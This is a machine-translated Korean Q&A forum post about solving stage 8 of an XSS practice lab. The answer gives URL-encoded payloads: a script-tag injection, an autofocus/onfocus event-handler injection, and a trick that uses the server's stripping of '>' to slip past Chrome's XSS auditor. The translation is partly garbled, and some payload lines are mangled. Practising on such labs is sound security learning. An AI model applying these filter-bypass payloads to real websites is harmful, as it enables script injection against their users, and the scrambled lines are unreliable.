2017-03-27 2 views
0

은 어떻게 XSS 필터를 우회하고이 페이지에 경고를 팝업 수 있습니다바이 패스 XSS 필터

http://leettime.net/xsslab1/stage--08.php

스크립트가 불가능하고 서버 측에 작은 따옴표 (')를 필터링 할 것 나 가치 분야로 주입.

<input type="text" name="name" value=''></input> 

이 페이지는 XSS 테스트 시리즈의 일부입니다, 그래서 어떻게 든 경고를 팝업하는 것이 가능하다는 것을 확신하지만 얼마나 모르겠어요.

답변

0

이름을 입력하고 제출을 클릭하십시오. 양식은 GET 요청을 통해 제출되므로 URL의 두 매개 변수를 볼 수 있습니다. 두 가지 모두 HTML 응답에 반영됩니다.를 제출

이름 = 스폰지 밥 &는 에 =

<font size=3>Enter Your Name here : <input type="text" name="name" value='spongebob'></input> 
<input type="submit" name="submit" value=""> 

대신 이름 매개 변수 초점의 제출합니다. 필터링되지 않은 큰 따옴표로 묶입니다. 문자>가 제거되었으므로 태그를 닫을 수 없으므로 태그 내부에 삽입해야합니다. > 멀리 제거된다

이름 = 스폰지 밥 & 제출 = % 22 % 3E % 3Cscript %의 3Ealert (document.URL) %의 3C/스크립트 % 그것은 onfocus 및 결합에 의해 자동으로 자바 스크립트를 실행하는 것이 가능 3E

<input type="submit" name="submit" value=""<scriptalert(document.URL)</script"> 

및 자동 초점.

이름 = 스폰지 밥 & 제출 = % 22 % 20autofocus % 20onfocus = % 22alert (document.URL)

<input type="submit" name="submit" value="" autofocus onfocus="(document.URL)"> 

가 아니라 크롬 파이어 폭스에서 자동으로 실행하는 작업 XSS입니다 크롬의 XSS의 감사 때문에 반사 된 XSS를 감지합니다. 크롬 제출 매개 변수가 HTML에 반영되어 있는지 감지 할 수

Chrome XSS auditor reports that 'Token contains a reflecte XSS vector'

그럼 우리의 장점에 '>'의 서버 측 필터링을 사용 할 수 있습니다.

이름 = 스폰지 밥 &는

Chrome XSS auditor bypassed using because of server side filtering

(> ument.URL을 문서) 경고 "% 20onf> ocus = 포커스> %의 20auto"= 제출
0

내가 잘못 생각했다. 작업을 완료하기 위해 삽입 할 수있는 추가 양식 필드가 있습니다.